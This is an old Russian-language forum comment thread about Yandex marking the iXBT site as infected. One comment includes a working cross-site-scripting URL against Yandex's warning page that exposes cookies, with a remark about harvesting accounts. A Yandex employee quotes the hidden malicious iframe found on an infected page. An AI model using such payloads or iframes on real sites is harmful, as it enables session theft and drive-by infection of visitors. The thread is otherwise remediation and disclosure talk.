Terror Sep 20 2009 at 16:28

iXBT заражен, по версии Яндекса

1 min

490

Lumber room

+17

Comments 14

Joka Sep 20 2009 at 16:48

help.yandex.ru/webmaster/?id=1059440#1059447

все понятно, где искать и как искать

Terror Sep 20 2009 at 16:59

Спасибо за подсказку. Странно, что на странице описания проблемы нет приведенной Вами ссылки.

Terror Sep 20 2009 at 17:00

Все, нашел, ссылка есть.

iandrew_lis Sep 20 2009 at 17:23

У самих же пассивная XSS.

yandex.ru/infected?url=http%3A%2F%2Fwww.ixbt.com%2Fdivideo%2Fdivx-specidy.shtml&return=%22%3E%3C/a%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Ca%20href=%22

Думаю с помощью данной XSS можно много акков от Яндекса собрать.

Davidov Sep 20 2009 at 17:28

Напишите в Яндекс, пока не поздно )

GmasteR Sep 20 2009 at 17:31

тсс :)
зачем вы это написали? :D

LMaster Sep 20 2009 at 17:40

Эх, и эту нашли…

UFO landed and left these words here

Davidov Sep 20 2009 at 19:30

Несколько лет назад обнаружил, что W3 валидатор при некотором уровне рекурсии начинал выдавать невалидный код ) Сейчас уже исправили.

UFO landed and left these words here

naum Sep 20 2009 at 21:37

А я вас предупреждал!

otaqsun Sep 21 2009 at 07:11

В хроме можно позаходить на эту страничку: habrahabr.ru/blogs/flash/

sterlingov Sep 21 2009 at 08:04

Добрый день.

Для того, чтобы быстро понять, где искать и что удалять, стоит зарегистрировать свой сайт в Яндекс.Вебмастере — там приводятся примеры зараженных страниц. Ну вот, например, ixbt.com/comm/homepna.shtml, там есть вот такой вот iframe:

src=«http:// findbigbearproperty.cn:8080/ts/in.cgi?pepsi9» width=2 height=4 style=«visibility: hidden»

Если сайт зарегистрирован в Я.Вебмастере, владельцу приходит сообщение о том, что наша система обнаружила потенциально опасную страницу. Там же можно запросить перепроверку сайта после удаления вредоносного кода. Таким образом, за несколько часов можно все исправить, и пометка в результатах поиска снимется.